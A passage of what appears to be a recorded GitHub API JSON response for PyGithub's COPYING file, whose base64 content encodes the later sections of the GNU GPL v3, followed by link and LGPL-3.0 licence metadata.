3IgYWZmaXJtZWQgdW5kZXIgdGhp\ncyBMaWNlbnNlLiAgRm9yIGV4YW1wbGUsIHlvdSBtYXkKbm90IGltcG9zZSBh\nIGxpY2Vuc2UgZmVlLCByb3lhbHR5LCBvciBvdGhlciBjaGFyZ2UgZm9yIGV4\nZXJjaXNlIG9mCnJpZ2h0cyBncmFudGVkIHVuZGVyIHRoaXMgTGljZW5zZSwg\nYW5kIHlvdSBtYXkgbm90IGluaXRpYXRlIGxpdGlnYXRpb24KKGluY2x1ZGlu\nZyBhIGNyb3NzLWNsYWltIG9yIGNvdW50ZXJjbGFpbSBpbiBhIGxhd3N1aXQp\nIGFsbGVnaW5nIHRoYXQKYW55IHBhdGVudCBjbGFpbSBpcyBpbmZyaW5nZWQg\nYnkgbWFraW5nLCB1c2luZywgc2VsbGluZywgb2ZmZXJpbmcgZm9yCnNhbGUs\nIG9yIGltcG9ydGluZyB0aGUgUHJvZ3JhbSBvciBhbnkgcG9ydGlvbiBvZiBp\ndC4KCiAgMTEuIFBhdGVudHMuCgogIEEgImNvbnRyaWJ1dG9yIiBpcyBhIGNv\ncHlyaWdodCBob2xkZXIgd2hvIGF1dGhvcml6ZXMgdXNlIHVuZGVyIHRoaXMK\nTGljZW5zZSBvZiB0aGUgUHJvZ3JhbSBvciBhIHdvcmsgb24gd2hpY2ggdGhl\nIFByb2dyYW0gaXMgYmFzZWQuICBUaGUKd29yayB0aHVzIGxpY2Vuc2VkIGlz\nIGNhbGxlZCB0aGUgY29udHJpYnV0b3IncyAiY29udHJpYnV0b3IgdmVyc2lv\nbiIuCgogIEEgY29udHJpYnV0b3IncyAiZXNzZW50aWFsIHBhdGVudCBjbGFp\nbXMiIGFyZSBhbGwgcGF0ZW50IGNsYWltcwpvd25lZCBvciBjb250cm9sbGVk\nIGJ5IHRoZSBjb250cmlidXRvciwgd2hldGhlciBhbHJlYWR5IGFjcXVpcmVk\nIG9yCmhlcmVhZnRlciBhY3F1aXJlZCwgdGhhdCB3b3VsZCBiZSBpbmZyaW5n\nZWQgYnkgc29tZSBtYW5uZXIsIHBlcm1pdHRlZApieSB0aGlzIExpY2Vuc2Us\nIG9mIG1ha2luZywgdXNpbmcsIG9yIHNlbGxpbmcgaXRzIGNvbnRyaWJ1dG9y\nIHZlcnNpb24sCmJ1dCBkbyBub3QgaW5jbHVkZSBjbGFpbXMgdGhhdCB3b3Vs\nZCBiZSBpbmZyaW5nZWQgb25seSBhcyBhCmNvbnNlcXVlbmNlIG9mIGZ1cnRo\nZXIgbW9kaWZpY2F0aW9uIG9mIHRoZSBjb250cmlidXRvciB2ZXJzaW9uLiAg\nRm9yCnB1cnBvc2VzIG9mIHRoaXMgZGVmaW5pdGlvbiwgImNvbnRyb2wiIGlu\nY2x1ZGVzIHRoZSByaWdodCB0byBncmFudApwYXRlbnQgc3VibGljZW5zZXMg\naW4gYSBtYW5uZXIgY29uc2lzdGVudCB3aXRoIHRoZSByZXF1aXJlbWVudHMg\nb2YKdGhpcyBMaWNlbnNlLgoKICBFYWNoIGNvbnRyaWJ1dG9yIGdyYW50cyB5\nb3UgYSBub24tZXhjbHVzaXZlLCB3b3JsZHdpZGUsIHJveWFsdHktZnJlZQpw\nYXRlbnQgbGljZW5zZSB1bmRlciB0aGUgY29udHJpYnV0b3IncyBlc3NlbnRp\nYWwgcGF0ZW50IGNsYWltcywgdG8KbWFrZSwgdXNlLCBzZWxsLCBvZmZlciBm\nb3Igc2FsZSwgaW1wb3J0IGFuZCBvdGhlcndpc2UgcnVuLCBtb2RpZnkgYW5k\nCnByb3BhZ2F0ZSB0aGUgY29udGVudHMgb2YgaXRzIGNvbnRyaWJ1dG9yIHZl\ncnNpb24uCgogIEluIHRoZSBmb2xsb3dpbmcgdGhyZWUgcGFyYWdyYXBocywg\nYSAicGF0ZW50IGxpY2Vuc2UiIGlzIGFueSBleHByZXNzCmFncmVlbWVudCBv\nciBjb21taXRtZW50LCBob3dldmVyIGRlbm9taW5hdGVkLCBub3QgdG8gZW5m\nb3JjZSBhIHBhdGVudAooc3VjaCBhcyBhbiBleHByZXNzIHBlcm1pc3Npb24g\ndG8gcHJhY3RpY2UgYSBwYXRlbnQgb3IgY292ZW5hbnQgbm90IHRvCnN1ZSBm\nb3IgcGF0ZW50IGluZnJpbmdlbWVudCkuICBUbyAiZ3JhbnQiIHN1Y2ggYSBw\nYXRlbnQgbGljZW5zZSB0byBhCnBhcnR5IG1lYW5zIHRvIG1ha2Ugc3VjaCBh\nbiBhZ3JlZW1lbnQgb3IgY29tbWl0bWVudCBub3QgdG8gZW5mb3JjZSBhCnBh\ndGVudCBhZ2FpbnN0IHRoZSBwYXJ0eS4KCiAgSWYgeW91IGNvbnZleSBhIGNv\ndmVyZWQgd29yaywga25vd2luZ2x5IHJlbHlpbmcgb24gYSBwYXRlbnQgbGlj\nZW5zZSwKYW5kIHRoZSBDb3JyZXNwb25kaW5nIFNvdXJjZSBvZiB0aGUgd29y\nayBpcyBub3QgYXZhaWxhYmxlIGZvciBhbnlvbmUKdG8gY29weSwgZnJlZSBv\nZiBjaGFyZ2UgYW5kIHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGlzIExpY2Vuc2Us\nIHRocm91Z2ggYQpwdWJsaWNseSBhdmFpbGFibGUgbmV0d29yayBzZXJ2ZXIg\nb3Igb3RoZXIgcmVhZGlseSBhY2Nlc3NpYmxlIG1lYW5zLAp0aGVuIHlvdSBt\ndXN0IGVpdGhlciAoMSkgY2F1c2UgdGhlIENvcnJlc3BvbmRpbmcgU291cmNl\nIHRvIGJlIHNvCmF2YWlsYWJsZSwgb3IgKDIpIGFycmFuZ2UgdG8gZGVwcml2\nZSB5b3Vyc2VsZiBvZiB0aGUgYmVuZWZpdCBvZiB0aGUKcGF0ZW50IGxpY2Vu\nc2UgZm9yIHRoaXMgcGFydGljdWxhciB3b3JrLCBvciAoMykgYXJyYW5nZSwg\naW4gYSBtYW5uZXIKY29uc2lzdGVudCB3aXRoIHRoZSByZXF1aXJlbWVudHMg\nb2YgdGhpcyBMaWNlbnNlLCB0byBleHRlbmQgdGhlIHBhdGVudApsaWNlbnNl\nIHRvIGRvd25zdHJlYW0gcmVjaXBpZW50cy4gICJLbm93aW5nbHkgcmVseWlu\nZyIgbWVhbnMgeW91IGhhdmUKYWN0dWFsIGtub3dsZWRnZSB0aGF0LCBidXQg\nZm9yIHRoZSBwYXRlbnQgbGljZW5zZSwgeW91ciBjb252ZXlpbmcgdGhlCmNv\ndmVyZWQgd29yayBpbiBhIGNvdW50cnksIG9yIHlvdXIgcmVjaXBpZW50J3Mg\ndXNlIG9mIHRoZSBjb3ZlcmVkIHdvcmsKaW4gYSBjb3VudHJ5LCB3b3VsZCBp\nbmZyaW5nZSBvbmUgb3IgbW9yZSBpZGVudGlmaWFibGUgcGF0ZW50cyBpbiB0\naGF0CmNvdW50cnkgdGhhdCB5b3UgaGF2ZSByZWFzb24gdG8gYmVsaWV2ZSBh\ncmUgdmFsaWQuCgogIElmLCBwdXJzdWFudCB0byBvciBpbiBjb25uZWN0aW9u\nIHdpdGggYSBzaW5nbGUgdHJhbnNhY3Rpb24gb3IKYXJyYW5nZW1lbnQsIHlv\ndSBjb252ZXksIG9yIHByb3BhZ2F0ZSBieSBwcm9jdXJpbmcgY29udmV5YW5j\nZSBvZiwgYQpjb3ZlcmVkIHdvcmssIGFuZCBncmFudCBhIHBhdGVudCBsaWNl\nbnNlIHRvIHNvbWUgb2YgdGhlIHBhcnRpZXMKcmVjZWl2aW5nIHRoZSBjb3Zl\ncmVkIHdvcmsgYXV0aG9yaXppbmcgdGhlbSB0byB1c2UsIHByb3BhZ2F0ZSwg\nbW9kaWZ5Cm9yIGNvbnZleSBhIHNwZWNpZmljIGNvcHkgb2YgdGhlIGNvdmVy\nZWQgd29yaywgdGhlbiB0aGUgcGF0ZW50IGxpY2Vuc2UKeW91IGdyYW50IGlz\nIGF1dG9tYXRpY2FsbHkgZXh0ZW5kZWQgdG8gYWxsIHJlY2lwaWVudHMgb2Yg\ndGhlIGNvdmVyZWQKd29yayBhbmQgd29ya3MgYmFzZWQgb24gaXQuCgogIEEg\ncGF0ZW50IGxpY2Vuc2UgaXMgImRpc2NyaW1pbmF0b3J5IiBpZiBpdCBkb2Vz\nIG5vdCBpbmNsdWRlIHdpdGhpbgp0aGUgc2NvcGUgb2YgaXRzIGNvdmVyYWdl\nLCBwcm9oaWJpdHMgdGhlIGV4ZXJjaXNlIG9mLCBvciBpcwpjb25kaXRpb25l\nZCBvbiB0aGUgbm9uLWV4ZXJjaXNlIG9mIG9uZSBvciBtb3JlIG9mIHRoZSBy\naWdodHMgdGhhdCBhcmUKc3BlY2lmaWNhbGx5IGdyYW50ZWQgdW5kZXIgdGhp\ncyBMaWNlbnNlLiAgWW91IG1heSBub3QgY29udmV5IGEgY292ZXJlZAp3b3Jr\nIGlmIHlvdSBhcmUgYSBwYXJ0eSB0byBhbiBhcnJhbmdlbWVudCB3aXRoIGEg\ndGhpcmQgcGFydHkgdGhhdCBpcwppbiB0aGUgYnVzaW5lc3Mgb2YgZGlzdHJp\nYnV0aW5nIHNvZnR3YXJlLCB1bmRlciB3aGljaCB5b3UgbWFrZSBwYXltZW50\nCnRvIHRoZSB0aGlyZCBwYXJ0eSBiYXNlZCBvbiB0aGUgZXh0ZW50IG9mIHlv\ndXIgYWN0aXZpdHkgb2YgY29udmV5aW5nCnRoZSB3b3JrLCBhbmQgdW5kZXIg\nd2hpY2ggdGhlIHRoaXJkIHBhcnR5IGdyYW50cywgdG8gYW55IG9mIHRoZQpw\nYXJ0aWVzIHdobyB3b3VsZCByZWNlaXZlIHRoZSBjb3ZlcmVkIHdvcmsgZnJv\nbSB5b3UsIGEgZGlzY3JpbWluYXRvcnkKcGF0ZW50IGxpY2Vuc2UgKGEpIGlu\nIGNvbm5lY3Rpb24gd2l0aCBjb3BpZXMgb2YgdGhlIGNvdmVyZWQgd29yawpj\nb252ZXllZCBieSB5b3UgKG9yIGNvcGllcyBtYWRlIGZyb20gdGhvc2UgY29w\naWVzKSwgb3IgKGIpIHByaW1hcmlseQpmb3IgYW5kIGluIGNvbm5lY3Rpb24g\nd2l0aCBzcGVjaWZpYyBwcm9kdWN0cyBvciBjb21waWxhdGlvbnMgdGhhdApj\nb250YWluIHRoZSBjb3ZlcmVkIHdvcmssIHVubGVzcyB5b3UgZW50ZXJlZCBp\nbnRvIHRoYXQgYXJyYW5nZW1lbnQsCm9yIHRoYXQgcGF0ZW50IGxpY2Vuc2Ug\nd2FzIGdyYW50ZWQsIHByaW9yIHRvIDI4IE1hcmNoIDIwMDcuCgogIE5vdGhp\nbmcgaW4gdGhpcyBMaWNlbnNlIHNoYWxsIGJlIGNvbnN0cnVlZCBhcyBleGNs\ndWRpbmcgb3IgbGltaXRpbmcKYW55IGltcGxpZWQgbGljZW5zZSBvciBvdGhl\nciBkZWZlbnNlcyB0byBpbmZyaW5nZW1lbnQgdGhhdCBtYXkKb3RoZXJ3aXNl\nIGJlIGF2YWlsYWJsZSB0byB5b3UgdW5kZXIgYXBwbGljYWJsZSBwYXRlbnQg\nbGF3LgoKICAxMi4gTm8gU3VycmVuZGVyIG9mIE90aGVycycgRnJlZWRvbS4K\nCiAgSWYgY29uZGl0aW9ucyBhcmUgaW1wb3NlZCBvbiB5b3UgKHdoZXRoZXIg\nYnkgY291cnQgb3JkZXIsIGFncmVlbWVudCBvcgpvdGhlcndpc2UpIHRoYXQg\nY29udHJhZGljdCB0aGUgY29uZGl0aW9ucyBvZiB0aGlzIExpY2Vuc2UsIHRo\nZXkgZG8gbm90CmV4Y3VzZSB5b3UgZnJvbSB0aGUgY29uZGl0aW9ucyBvZiB0\naGlzIExpY2Vuc2UuICBJZiB5b3UgY2Fubm90IGNvbnZleSBhCmNvdmVyZWQg\nd29yayBzbyBhcyB0byBzYXRpc2Z5IHNpbXVsdGFuZW91c2x5IHlvdXIgb2Js\naWdhdGlvbnMgdW5kZXIgdGhpcwpMaWNlbnNlIGFuZCBhbnkgb3RoZXIgcGVy\ndGluZW50IG9ibGlnYXRpb25zLCB0aGVuIGFzIGEgY29uc2VxdWVuY2UgeW91\nIG1heQpub3QgY29udmV5IGl0IGF0IGFsbC4gIEZvciBleGFtcGxlLCBpZiB5\nb3UgYWdyZWUgdG8gdGVybXMgdGhhdCBvYmxpZ2F0ZSB5b3UKdG8gY29sbGVj\ndCBhIHJveWFsdHkgZm9yIGZ1cnRoZXIgY29udmV5aW5nIGZyb20gdGhvc2Ug\ndG8gd2hvbSB5b3UgY29udmV5CnRoZSBQcm9ncmFtLCB0aGUgb25seSB3YXkg\neW91IGNvdWxkIHNhdGlzZnkgYm90aCB0aG9zZSB0ZXJtcyBhbmQgdGhpcwpM\naWNlbnNlIHdvdWxkIGJlIHRvIHJlZnJhaW4gZW50aXJlbHkgZnJvbSBjb252\nZXlpbmcgdGhlIFByb2dyYW0uCgogIDEzLiBVc2Ugd2l0aCB0aGUgR05VIEFm\nZmVybyBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlLgoKICBOb3R3aXRoc3RhbmRp\nbmcgYW55IG90aGVyIHByb3Zpc2lvbiBvZiB0aGlzIExpY2Vuc2UsIHlvdSBo\nYXZlCnBlcm1pc3Npb24gdG8gbGluayBvciBjb21iaW5lIGFueSBjb3ZlcmVk\nIHdvcmsgd2l0aCBhIHdvcmsgbGljZW5zZWQKdW5kZXIgdmVyc2lvbiAzIG9m\nIHRoZSBHTlUgQWZmZXJvIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgaW50byBh\nIHNpbmdsZQpjb21iaW5lZCB3b3JrLCBhbmQgdG8gY29udmV5IHRoZSByZXN1\nbHRpbmcgd29yay4gIFRoZSB0ZXJtcyBvZiB0aGlzCkxpY2Vuc2Ugd2lsbCBj\nb250aW51ZSB0byBhcHBseSB0byB0aGUgcGFydCB3aGljaCBpcyB0aGUgY292\nZXJlZCB3b3JrLApidXQgdGhlIHNwZWNpYWwgcmVxdWlyZW1lbnRzIG9mIHRo\nZSBHTlUgQWZmZXJvIEdlbmVyYWwgUHVibGljIExpY2Vuc2UsCnNlY3Rpb24g\nMTMsIGNvbmNlcm5pbmcgaW50ZXJhY3Rpb24gdGhyb3VnaCBhIG5ldHdvcmsg\nd2lsbCBhcHBseSB0byB0aGUKY29tYmluYXRpb24gYXMgc3VjaC4KCiAgMTQu\nIFJldmlzZWQgVmVyc2lvbnMgb2YgdGhpcyBMaWNlbnNlLgoKICBUaGUgRnJl\nZSBTb2Z0d2FyZSBGb3VuZGF0aW9uIG1heSBwdWJsaXNoIHJldmlzZWQgYW5k\nL29yIG5ldyB2ZXJzaW9ucyBvZgp0aGUgR05VIEdlbmVyYWwgUHVibGljIExp\nY2Vuc2UgZnJvbSB0aW1lIHRvIHRpbWUuICBTdWNoIG5ldyB2ZXJzaW9ucyB3\naWxsCmJlIHNpbWlsYXIgaW4gc3Bpcml0IHRvIHRoZSBwcmVzZW50IHZlcnNp\nb24sIGJ1dCBtYXkgZGlmZmVyIGluIGRldGFpbCB0bwphZGRyZXNzIG5ldyBw\ncm9ibGVtcyBvciBjb25jZXJucy4KCiAgRWFjaCB2ZXJzaW9uIGlzIGdpdmVu\nIGEgZGlzdGluZ3Vpc2hpbmcgdmVyc2lvbiBudW1iZXIuICBJZiB0aGUKUHJv\nZ3JhbSBzcGVjaWZpZXMgdGhhdCBhIGNlcnRhaW4gbnVtYmVyZWQgdmVyc2lv\nbiBvZiB0aGUgR05VIEdlbmVyYWwKUHVibGljIExpY2Vuc2UgIm9yIGFueSBs\nYXRlciB2ZXJzaW9uIiBhcHBsaWVzIHRvIGl0LCB5b3UgaGF2ZSB0aGUKb3B0\naW9uIG9mIGZvbGxvd2luZyB0aGUgdGVybXMgYW5kIGNvbmRpdGlvbnMgZWl0\naGVyIG9mIHRoYXQgbnVtYmVyZWQKdmVyc2lvbiBvciBvZiBhbnkgbGF0ZXIg\ndmVyc2lvbiBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUKRm91bmRh\ndGlvbi4gIElmIHRoZSBQcm9ncmFtIGRvZXMgbm90IHNwZWNpZnkgYSB2ZXJz\naW9uIG51bWJlciBvZiB0aGUKR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2Us\nIHlvdSBtYXkgY2hvb3NlIGFueSB2ZXJzaW9uIGV2ZXIgcHVibGlzaGVkCmJ5\nIHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24uCgogIElmIHRoZSBQcm9n\ncmFtIHNwZWNpZmllcyB0aGF0IGEgcHJveHkgY2FuIGRlY2lkZSB3aGljaCBm\ndXR1cmUKdmVyc2lvbnMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNl\nbnNlIGNhbiBiZSB1c2VkLCB0aGF0IHByb3h5J3MKcHVibGljIHN0YXRlbWVu\ndCBvZiBhY2NlcHRhbmNlIG9mIGEgdmVyc2lvbiBwZXJtYW5lbnRseSBhdXRo\nb3JpemVzIHlvdQp0byBjaG9vc2UgdGhhdCB2ZXJzaW9uIGZvciB0aGUgUHJv\nZ3JhbS4KCiAgTGF0ZXIgbGljZW5zZSB2ZXJzaW9ucyBtYXkgZ2l2ZSB5b3Ug\nYWRkaXRpb25hbCBvciBkaWZmZXJlbnQKcGVybWlzc2lvbnMuICBIb3dldmVy\nLCBubyBhZGRpdGlvbmFsIG9ibGlnYXRpb25zIGFyZSBpbXBvc2VkIG9uIGFu\neQphdXRob3Igb3IgY29weXJpZ2h0IGhvbGRlciBhcyBhIHJlc3VsdCBvZiB5\nb3VyIGNob29zaW5nIHRvIGZvbGxvdyBhCmxhdGVyIHZlcnNpb24uCgogIDE1\nLiBEaXNjbGFpbWVyIG9mIFdhcnJhbnR5LgoKICBUSEVSRSBJUyBOTyBXQVJS\nQU5UWSBGT1IgVEhFIFBST0dSQU0sIFRPIFRIRSBFWFRFTlQgUEVSTUlUVEVE\nIEJZCkFQUExJQ0FCTEUgTEFXLiAgRVhDRVBUIFdIRU4gT1RIRVJXSVNFIFNU\nQVRFRCBJTiBXUklUSU5HIFRIRSBDT1BZUklHSFQKSE9MREVSUyBBTkQvT1Ig\nT1RIRVIgUEFSVElFUyBQUk9WSURFIFRIRSBQUk9HUkFNICJBUyBJUyIgV0lU\nSE9VVCBXQVJSQU5UWQpPRiBBTlkgS0lORCwgRUlUSEVSIEVYUFJFU1NFRCBP\nUiBJTVBMSUVELCBJTkNMVURJTkcsIEJVVCBOT1QgTElNSVRFRCBUTywKVEhF\nIElNUExJRUQgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJ\nVE5FU1MgRk9SIEEgUEFSVElDVUxBUgpQVVJQT1NFLiAgVEhFIEVOVElSRSBS\nSVNLIEFTIFRPIFRIRSBRVUFMSVRZIEFORCBQRVJGT1JNQU5DRSBPRiBUSEUg\nUFJPR1JBTQpJUyBXSVRIIFlPVS4gIFNIT1VMRCBUSEUgUFJPR1JBTSBQUk9W\nRSBERUZFQ1RJVkUsIFlPVSBBU1NVTUUgVEhFIENPU1QgT0YKQUxMIE5FQ0VT\nU0FSWSBTRVJWSUNJTkcsIFJFUEFJUiBPUiBDT1JSRUNUSU9OLgoKICAxNi4g\nTGltaXRhdGlvbiBvZiBMaWFiaWxpdHkuCgogIElOIE5PIEVWRU5UIFVOTEVT\nUyBSRVFVSVJFRCBCWSBBUFBMSUNBQkxFIExBVyBPUiBBR1JFRUQgVE8gSU4g\nV1JJVElORwpXSUxMIEFOWSBDT1BZUklHSFQgSE9MREVSLCBPUiBBTlkgT1RI\nRVIgUEFSVFkgV0hPIE1PRElGSUVTIEFORC9PUiBDT05WRVlTClRIRSBQUk9H\nUkFNIEFTIFBFUk1JVFRFRCBBQk9WRSwgQkUgTElBQkxFIFRPIFlPVSBGT1Ig\nREFNQUdFUywgSU5DTFVESU5HIEFOWQpHRU5FUkFMLCBTUEVDSUFMLCBJTkNJ\nREVOVEFMIE9SIENPTlNFUVVFTlRJQUwgREFNQUdFUyBBUklTSU5HIE9VVCBP\nRiBUSEUKVVNFIE9SIElOQUJJTElUWSBUTyBVU0UgVEhFIFBST0dSQU0gKElO\nQ0xVRElORyBCVVQgTk9UIExJTUlURUQgVE8gTE9TUyBPRgpEQVRBIE9SIERB\nVEEgQkVJTkcgUkVOREVSRUQgSU5BQ0NVUkFURSBPUiBMT1NTRVMgU1VTVEFJ\nTkVEIEJZIFlPVSBPUiBUSElSRApQQVJUSUVTIE9SIEEgRkFJTFVSRSBPRiBU\nSEUgUFJPR1JBTSBUTyBPUEVSQVRFIFdJVEggQU5ZIE9USEVSIFBST0dSQU1T\nKSwKRVZFTiBJRiBTVUNIIEhPTERFUiBPUiBPVEhFUiBQQVJUWSBIQVMgQkVF\nTiBBRFZJU0VEIE9GIFRIRSBQT1NTSUJJTElUWSBPRgpTVUNIIERBTUFHRVMu\nCgogIDE3LiBJbnRlcnByZXRhdGlvbiBvZiBTZWN0aW9ucyAxNSBhbmQgMTYu\nCgogIElmIHRoZSBkaXNjbGFpbWVyIG9mIHdhcnJhbnR5IGFuZCBsaW1pdGF0\naW9uIG9mIGxpYWJpbGl0eSBwcm92aWRlZAphYm92ZSBjYW5ub3QgYmUgZ2l2\nZW4gbG9jYWwgbGVnYWwgZWZmZWN0IGFjY29yZGluZyB0byB0aGVpciB0ZXJt\ncywKcmV2aWV3aW5nIGNvdXJ0cyBzaGFsbCBhcHBseSBsb2NhbCBsYXcgdGhh\ndCBtb3N0IGNsb3NlbHkgYXBwcm94aW1hdGVzCmFuIGFic29sdXRlIHdhaXZl\nciBvZiBhbGwgY2l2aWwgbGlhYmlsaXR5IGluIGNvbm5lY3Rpb24gd2l0aCB0\naGUKUHJvZ3JhbSwgdW5sZXNzIGEgd2FycmFudHkgb3IgYXNzdW1wdGlvbiBv\nZiBsaWFiaWxpdHkgYWNjb21wYW5pZXMgYQpjb3B5IG9mIHRoZSBQcm9ncmFt\nIGluIHJldHVybiBmb3IgYSBmZWUuCgogICAgICAgICAgICAgICAgICAgICBF\nTkQgT0YgVEVSTVMgQU5EIENPTkRJVElPTlMKCiAgICAgICAgICAgIEhvdyB0\nbyBBcHBseSBUaGVzZSBUZXJtcyB0byBZb3VyIE5ldyBQcm9ncmFtcwoKICBJ\nZiB5b3UgZGV2ZWxvcCBhIG5ldyBwcm9ncmFtLCBhbmQgeW91IHdhbnQgaXQg\ndG8gYmUgb2YgdGhlIGdyZWF0ZXN0CnBvc3NpYmxlIHVzZSB0byB0aGUgcHVi\nbGljLCB0aGUgYmVzdCB3YXkgdG8gYWNoaWV2ZSB0aGlzIGlzIHRvIG1ha2Ug\naXQKZnJlZSBzb2Z0d2FyZSB3aGljaCBldmVyeW9uZSBjYW4gcmVkaXN0cmli\ndXRlIGFuZCBjaGFuZ2UgdW5kZXIgdGhlc2UgdGVybXMuCgogIFRvIGRvIHNv\nLCBhdHRhY2ggdGhlIGZvbGxvd2luZyBub3RpY2VzIHRvIHRoZSBwcm9ncmFt\nLiAgSXQgaXMgc2FmZXN0CnRvIGF0dGFjaCB0aGVtIHRvIHRoZSBzdGFydCBv\nZiBlYWNoIHNvdXJjZSBmaWxlIHRvIG1vc3QgZWZmZWN0aXZlbHkKc3RhdGUg\ndGhlIGV4Y2x1c2lvbiBvZiB3YXJyYW50eTsgYW5kIGVhY2ggZmlsZSBzaG91\nbGQgaGF2ZSBhdCBsZWFzdAp0aGUgImNvcHlyaWdodCIgbGluZSBhbmQgYSBw\nb2ludGVyIHRvIHdoZXJlIHRoZSBmdWxsIG5vdGljZSBpcyBmb3VuZC4KCiAg\nICA8b25lIGxpbmUgdG8gZ2l2ZSB0aGUgcHJvZ3JhbSdzIG5hbWUgYW5kIGEg\nYnJpZWYgaWRlYSBvZiB3aGF0IGl0IGRvZXMuPgogICAgQ29weXJpZ2h0IChD\nKSA8eWVhcj4gIDxuYW1lIG9mIGF1dGhvcj4KCiAgICBUaGlzIHByb2dyYW0g\naXMgZnJlZSBzb2Z0d2FyZTogeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5k\nL29yIG1vZGlmeQogICAgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUg\nR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKICAgIHRo\nZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIGVpdGhlciB2ZXJzaW9uIDMg\nb2YgdGhlIExpY2Vuc2UsIG9yCiAgICAoYXQgeW91ciBvcHRpb24pIGFueSBs\nYXRlciB2ZXJzaW9uLgoKICAgIFRoaXMgcHJvZ3JhbSBpcyBkaXN0cmlidXRl\nZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAogICAgYnV0\nIFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxp\nZWQgd2FycmFudHkgb2YKICAgIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNT\nIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUKICAgIEdOVSBH\nZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCgogICAg\nWW91IHNob3VsZCBoYXZlIHJlY2VpdmVkIGEgY29weSBvZiB0aGUgR05VIEdl\nbmVyYWwgUHVibGljIExpY2Vuc2UKICAgIGFsb25nIHdpdGggdGhpcyBwcm9n\ncmFtLiAgSWYgbm90LCBzZWUgPGh0dHA6Ly93d3cuZ251Lm9yZy9saWNlbnNl\ncy8+LgoKQWxzbyBhZGQgaW5mb3JtYXRpb24gb24gaG93IHRvIGNvbnRhY3Qg\neW91IGJ5IGVsZWN0cm9uaWMgYW5kIHBhcGVyIG1haWwuCgogIElmIHRoZSBw\ncm9ncmFtIGRvZXMgdGVybWluYWwgaW50ZXJhY3Rpb24sIG1ha2UgaXQgb3V0\ncHV0IGEgc2hvcnQKbm90aWNlIGxpa2UgdGhpcyB3aGVuIGl0IHN0YXJ0cyBp\nbiBhbiBpbnRlcmFjdGl2ZSBtb2RlOgoKICAgIDxwcm9ncmFtPiAgQ29weXJp\nZ2h0IChDKSA8eWVhcj4gIDxuYW1lIG9mIGF1dGhvcj4KICAgIFRoaXMgcHJv\nZ3JhbSBjb21lcyB3aXRoIEFCU09MVVRFTFkgTk8gV0FSUkFOVFk7IGZvciBk\nZXRhaWxzIHR5cGUgYHNob3cgdycuCiAgICBUaGlzIGlzIGZyZWUgc29mdHdh\ncmUsIGFuZCB5b3UgYXJlIHdlbGNvbWUgdG8gcmVkaXN0cmlidXRlIGl0CiAg\nICB1bmRlciBjZXJ0YWluIGNvbmRpdGlvbnM7IHR5cGUgYHNob3cgYycgZm9y\nIGRldGFpbHMuCgpUaGUgaHlwb3RoZXRpY2FsIGNvbW1hbmRzIGBzaG93IHcn\nIGFuZCBgc2hvdyBjJyBzaG91bGQgc2hvdyB0aGUgYXBwcm9wcmlhdGUKcGFy\ndHMgb2YgdGhlIEdlbmVyYWwgUHVibGljIExpY2Vuc2UuICBPZiBjb3Vyc2Us\nIHlvdXIgcHJvZ3JhbSdzIGNvbW1hbmRzCm1pZ2h0IGJlIGRpZmZlcmVudDsg\nZm9yIGEgR1VJIGludGVyZmFjZSwgeW91IHdvdWxkIHVzZSBhbiAiYWJvdXQg\nYm94Ii4KCiAgWW91IHNob3VsZCBhbHNvIGdldCB5b3VyIGVtcGxveWVyIChp\nZiB5b3Ugd29yayBhcyBhIHByb2dyYW1tZXIpIG9yIHNjaG9vbCwKaWYgYW55\nLCB0byBzaWduIGEgImNvcHlyaWdodCBkaXNjbGFpbWVyIiBmb3IgdGhlIHBy\nb2dyYW0sIGlmIG5lY2Vzc2FyeS4KRm9yIG1vcmUgaW5mb3JtYXRpb24gb24g\ndGhpcywgYW5kIGhvdyB0byBhcHBseSBhbmQgZm9sbG93IHRoZSBHTlUgR1BM\nLCBzZWUKPGh0dHA6Ly93d3cuZ251Lm9yZy9saWNlbnNlcy8+LgoKICBUaGUg\nR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZG9lcyBub3QgcGVybWl0IGlu\nY29ycG9yYXRpbmcgeW91ciBwcm9ncmFtCmludG8gcHJvcHJpZXRhcnkgcHJv\nZ3JhbXMuICBJZiB5b3VyIHByb2dyYW0gaXMgYSBzdWJyb3V0aW5lIGxpYnJh\ncnksIHlvdQptYXkgY29uc2lkZXIgaXQgbW9yZSB1c2VmdWwgdG8gcGVybWl0\nIGxpbmtpbmcgcHJvcHJpZXRhcnkgYXBwbGljYXRpb25zIHdpdGgKdGhlIGxp\nYnJhcnkuICBJZiB0aGlzIGlzIHdoYXQgeW91IHdhbnQgdG8gZG8sIHVzZSB0\naGUgR05VIExlc3NlciBHZW5lcmFsClB1YmxpYyBMaWNlbnNlIGluc3RlYWQg\nb2YgdGhpcyBMaWNlbnNlLiAgQnV0IGZpcnN0LCBwbGVhc2UgcmVhZAo8aHR0\ncDovL3d3dy5nbnUub3JnL3BoaWxvc29waHkvd2h5LW5vdC1sZ3BsLmh0bWw+\nLgo=\n","encoding":"base64","_links":{"self":"https://api.github.com/repos/PyGithub/PyGithub/contents/COPYING?ref=master","git":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2","html":"https://github.com/PyGithub/PyGithub/blob/master/COPYING"},"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0"}} - diff --git 